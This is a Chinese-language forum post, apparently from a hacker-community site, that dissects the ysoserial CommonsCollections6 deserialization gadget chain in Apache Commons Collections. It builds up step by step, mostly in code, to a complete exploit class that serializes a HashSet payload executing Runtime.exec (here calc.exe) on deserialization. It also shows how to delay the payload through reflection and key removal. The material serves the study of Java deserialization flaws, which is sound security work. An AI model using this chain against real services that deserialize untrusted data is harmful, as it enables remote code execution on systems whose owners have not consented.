[JAVA] java安全ysoserialCommonsCollections6分析

1919 0
Honkers 2022-11-8 17:19:47 | 显示全部楼层 |阅读模式
目录

    利用链如下
      1、InvokerTransformer.transform()2、ChainedTransformer.transform()3、LazyMap.get()4、TiedMapEntry5、HashMap6、HashSet



利用链如下

其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致。
  1. /*
  2.         Gadget chain:
  3.             java.io.ObjectInputStream.readObject()
  4.             java.util.HashSet.readObject()
  5.                 java.util.HashMap.put()
  6.                 java.util.HashMap.hash()
  7.                     org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  8.                     org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  9.                         org.apache.commons.collections.map.LazyMap.get()
  10.                             org.apache.commons.collections.functors.CainedTransformer.transform()
  11.                             org.apache.commons.collections.functors.InvokerTransformer.transform()
  12.                             java.lang.reflect.Method.invoke()
  13.                                 java.lang.Runtime.exec()
  14. */
复制代码
1、InvokerTransformer.transform()

因为Runtime类不实现Serializable接口,所以使用Class类对象反射构造Runtime对象来实现exec方法。InvokerTransformer.transform()具备反射执行能力。
  1. Class cr = Class.forName("java.lang.Runtime");
  2.         Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(cr);
  3.         Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getMethod);
  4.         new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);
复制代码
2、ChainedTransformer.transform()

使用ChainedTransformer构造方法,给iTransformers赋值,在transform中执行iTransformers所有元素的transform,transform传入的参数为前一个元素的对象。所以这个方法可以对步骤1中链执行。
  1. public ChainedTransformer(Transformer[] transformers) {
  2.     super();
  3.     iTransformers = transformers;
  4. }
  5. public Object transform(Object object) {
  6.     for (int i = 0; i < iTransformers.length; i++) {
  7.         object = iTransformers[i].transform(object);
  8.     }
  9.     return object;
  10. }
复制代码
创建一个Transformer[],包含步骤1中所有对象。
  1. Transformer[] transformers = {
  2.                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
  3.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  4.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  5. };
复制代码
由于步骤1中cr对象是Class对象,不实现Transformer接口。通过ConstantTransformer的transform方法得到一个实现Transformer的方法。
  1. public ConstantTransformer(Object constantToReturn) {
  2.         super();
  3.         iConstant = constantToReturn;
  4. }
  5. public Object transform(Object input) {
  6.         return iConstant;
  7. }
复制代码
所以最终得到的transformers是
  1. public static void main(String[] args) throws Exception {
  2. //        Class cr = Class.forName("java.lang.Runtime");
  3.         ;
  4.         Transformer[] transformers = {
  5.                 new ConstantTransformer(Class.forName("java.lang.Runtime")),
  6.                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
  7.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  8.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  9.         };
  10.         new ChainedTransformer(transformers).transform(1);
  11.     //calc.exe
  12.     }
复制代码
3、LazyMap.get()

LazyMap类的get方法实现了,对factory的transform。factory的decorate方法实现了对factory的赋值,Transformer类型
所以向decorate传入new ChainedTransformer(transformers),最终调用get来实现new ChainedTransformer(transformers)的transform。
  1. public static Map decorate(Map map, Transformer factory) {
  2.         return new LazyMap(map, factory);
  3. }
  4. public Object get(Object key) {
  5.     // create value for key if key is not currently in the map
  6.     if (map.containsKey(key) == false) {
  7.         Object value = factory.transform(key);
  8.         map.put(key, value);
  9.         return value;
  10.     }
  11.     return map.get(key);
  12. }
复制代码
当然调用get方法的时候,如果key是不存在的才会执行factory.transform(key),所以最终的调用
  1. Transformer transformer = new ChainedTransformer(transformers);
  2. Map map = new HashMap();
  3. map.put(1,"hello");
  4. Map lazyMap = LazyMap.decorate(map, transformer);
  5. lazyMap.get(2);
  6. //calc.exe
复制代码
4、TiedMapEntry

根据利用链,下一步通过TiedMapEntry构造方法传入map和key,通过getValue实现对map参数的get操作,所以将lazyMap和一个不存在的key作为参数传入。
  1. public TiedMapEntry(Map map, Object key) {
  2.         super();
  3.         this.map = map;
  4.         this.key = key;
  5. }
  6. public Object getValue() {
  7.         return map.get(key);
  8. }
复制代码
利用链
  1. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
  2. tiedMapEntry.getValue();
复制代码
再看TiedMapEntry的hashCode方法,实现了getValue()的调用。
  1. public int hashCode() {
  2.         Object value = getValue();
  3.         return (getKey() == null ? 0 : getKey().hashCode()) ^
  4.                (value == null ? 0 : value.hashCode());
  5. }
复制代码
利用链
  1. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
  2. tiedMapEntry.hashcode();
复制代码
5、HashMap

hashmap的hash实现了对参数key的hashcode方法,put方法实现了hash方法
  1. static final int hash(Object key) {
  2.         int h;
  3.         return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  4. }
  5. public V put(K key, V value) {
  6.         return putVal(hash(key), key, value, false, true);
  7. }
复制代码
利用链
  1. Map hashmap = new HashMap();
  2. hashmap.put(tiedMapEntry,1);
  3. //calc.exe
复制代码
6、HashSet

根据利用链看HashSet类的readobject(),由于map = new HashMap<>(),最终实现了在readobject中调用了hashmap.put方法。
  1. private void readObject(java.io.ObjectInputStream s)
  2.         throws java.io.IOException, ClassNotFoundException {
  3.         ...
  4.         // Read in all elements in the proper order.
  5.         for (int i=0; i<size; i++) {
  6.             @SuppressWarnings("unchecked")
  7.                 E e = (E) s.readObject();
  8.             map.put(e, PRESENT);
  9.         }
  10.     }
复制代码
利用链
  1. HashSet hashSet = new HashSet();
  2. hashSet.add(tiedMapEntry);
  3. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
  4. objectOutputStream.writeObject(hashSet);
  5. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
  6. objectInputStream.readObject();
复制代码
由于在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2)中实际执行的lazyMap.get(2)。
  1. public Object getValue() {
  2.         return map.get(key);
  3. }
复制代码
lazyMap.get(2)该执行过程中,如果lazyMap不存在key,会对lazyMap储值。
  1. public Object get(Object key) {
  2.         // create value for key if key is not currently in the map
  3.         if (map.containsKey(key) == false) {
  4.             Object value = factory.transform(key);
  5.             map.put(key, value);
  6.             return value;
  7.         }
  8.         return map.get(key);
  9. }
复制代码
所以在做序列化的时候实际lazyMap中已经存在了key=2,反序列化的时候map.containsKey(key) == false不成立,在反序列化过程中无法成功执行Object value = factory.transform(key);
在序列化之前需要将该key移除
  1. lazyMap.remove(2);
复制代码
优化:
由于hashSet.add(tiedMapEntry);中,执行了map.put(tiedMapEntry),最终会在本地执行exec。
  1. public boolean add(E e) {
  2.         return map.put(e, PRESENT)==null;
  3. }
复制代码
在一开始可以对transformers赋空值,在序列化之前再对ChainedTransformer类产生的transformer的iTransformers通过反射做修改,将实际执行的exec执行链传入。
  1. Transformer[] transformers = {};
  2. Transformer[] transformerslist = {
  3.         new ConstantTransformer(Class.forName("java.lang.Runtime")),
  4.         new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
  5.         new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  6.         new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  7. };
  8. Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
  9. field.setAccessible(true);
  10. field.set(transformer, transformerslist);
复制代码
最终的利用链
  1. public class CC6Test1 {
  2.     public static void main(String[] args) throws Exception {
  3.         Transformer[] transformers = {};
  4.         Transformer[] transformerslist = {
  5.                 new ConstantTransformer(Class.forName("java.lang.Runtime")),
  6.                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
  7.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  8.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  9.         };
  10.         Transformer transformer = new ChainedTransformer(transformers);
  11.         Map map = new HashMap();
  12.         map.put(1,"hello");
  13.         Map lazyMap = LazyMap.decorate(map, transformer);
  14.         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
  15.         HashSet hashSet = new HashSet();
  16.         hashSet.add(tiedMapEntry);
  17.         lazyMap.remove(2);
  18.         Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
  19.         field.setAccessible(true);
  20.         field.set(transformer, transformerslist);
  21.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
  22.         objectOutputStream.writeObject(hashSet);
  23.         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
  24.         objectInputStream.readObject();
  25.     }
  26. }
复制代码


以上就是java 安全 ysoserial CommonsCollections6 分析的详细内容,更多关于java ysoserial CommonsCollections6的资料请关注中国红客联盟其它相关文章!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Honkers

荣誉红客

关注
  • 4005
    主题
  • 36
    粉丝
  • 0
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行